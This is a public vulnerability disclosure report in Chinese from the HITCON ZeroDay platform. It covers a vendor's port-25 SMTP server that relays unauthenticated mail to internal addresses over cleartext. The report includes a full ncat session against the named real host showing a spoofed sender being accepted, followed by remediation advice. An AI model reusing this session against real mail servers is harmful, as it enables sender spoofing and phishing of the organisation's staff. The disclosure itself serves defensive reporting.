全智網科技 25 Port 的 SMTP Server,有潛在的(Internal Mail Relay + 明文傳輸)風險 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00866
  •  發信 Vendor: 全智網科技
  • Title: 全智網科技 25 Port 的 SMTP Server,有潛在的(Internal Mail Relay + 明文傳輸)風險
  • Introduction: 潛在的(Internal Mail Relay + 明文傳輸)風險

處理狀態

目前狀態

公開
Last Update : 2025/10/01
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/08/01 09:27:13 : 新提交 (由 yusheng 更新此狀態)
  • 2025/08/01 09:28:46 : 新提交 (由 yusheng 更新此狀態)
  • 2025/08/05 20:50:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/06 18:08:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/06 18:08:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/08/06 18:08:05 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/10/01 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00866
  • 通報者:cat1528985 (yusheng)
  • 風險:低
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

受影響的 domain:ainetwork-training.com

敘述

P.S. 跟 ZD-2025-00865 是類似的漏洞

漏洞的種類:

  1. Internal Mail Relay
    CWE-284: Improper Access Control
    CWE-863: Incorrect Authorization
    CWE-923: Improper Restriction of Communication Channel to Intended Endpoints

  2. 明文傳輸 (Cleartext Transmission)
    CWE-319: Cleartext Transmission of Sensitive Information
    CWE-326: Inadequate Encryption Strength
    CWE-311: Missing Encryption of Sensitive Data

PoC 操作影片:https://drive.google.com/file/d/1EP0JxBb_vQfN5dPpaDeV7G2VnZz4_sKQ/view?usp=sharing

參考 RFC 文獻:

Topic URL
Simple Mail Transfer Protocol https://datatracker.ietf.org/doc/html/rfc5321
Internet Message Format https://datatracker.ietf.org/doc/html/rfc5322
Authentication https://datatracker.ietf.org/doc/html/rfc4954

重現漏洞方式:

圖片

以下皆為終端機的輸入跟輸出,使用 ncat 作為連線到 25 Port SMTP Server 的工具

  1. 連線到 ainetwork-training.com 的 25 port,-C 代表 Enter 鍵在 linux 系統會被轉譯為 CRLF 而不是 LF(因為 SMTP 是用 CRLF 換行)
    ncat -C ainetwork-training.com 25
    220-sg1-ts111.a2hosting.com ESMTP Exim 4.98.2 #2 Fri, 01 Aug 2025 08:56:52 +0800 
    220-We do not authorize the use of this system to transport unsolicited, 
    220 and/or bulk e-mail.
  2. extended hello,SMTP 協議的開場白,Server 回傳它支援的 extensions
    ehlo [127.0.0.1]
    250-sg1-ts111.a2hosting.com Hello [127.0.0.1] [91.148.246.21]
    250-SIZE 104857600
    250-LIMITS MAILMAX=1000 RCPTMAX=50000
    250-8BITMIME
    250-PIPELINING
    250-PIPECONNECT
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
  3. 嘗試輸入 mail from 指令,這個步驟代表指定寄件人,Server 回傳 ok
    mail from:<[email protected]>
    250 OK
  4. 嘗試輸入 rcpt to 指令,這個步驟代表指定收件人,根據 Server 回傳的錯誤訊息,推測 @gmail.com 是 non-local e-mail address
    rcpt to:<[email protected]>
    550-Please turn on SMTP Authentication in your mail client.  ([127.0.0.1])
    550-[91.148.246.21]:60998 is not permitted to relay through this server without
    550 authentication.
  5. reset,把剛才輸入的 mail from 跟 rcpt to 都捨棄,Server 回傳 ok
    rset
    250 Reset OK
  6. 重新指定寄件人,Server 回傳 ok
    mail from:<[email protected]>
    250 OK
  7. 重新指定收件人,這次使用全智網官網提供的聯絡我們email,Server 回傳 ok
    rcpt to:<[email protected]>
    250 Accepted
    • 使用 data 指令,嘗試寄送 email,SMTP 規範用 CRLF.CRLF 來作為結尾,Server 回傳 250 Ok,並且附上 messageId(1uhe5r-00000000Zp2-3bO7),代表信件有寄出
    • 之後不小心多按了一次 Enter,導致送出一個空的指令,所以 Server 回傳 500 unrecognized command 是正常的
    • 最後用 quit 斷開連線

data
354 Enter message, ending with "." on a line by itself
from: [email protected]
date: Fri, 01 Aug 2025 00:58:10 +0800

helloworld
.

250 OK id=1uhe5r-00000000Zp2-3bO7
500 unrecognized command
quit
221 sg1-ts111.a2hosting.com closing connection

修補建議

Internal Mail Relay
- 即便是寄信給內部使用者 (@ainetwork-training.com),也強制需要先登入(發送 auth 指令),或是限制 client IP

明文傳輸
- 建議強制 TLS(執行 mail from 指令前,必須先發送 starttls 指令,明文傳輸有可能造成中間人攻擊)

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;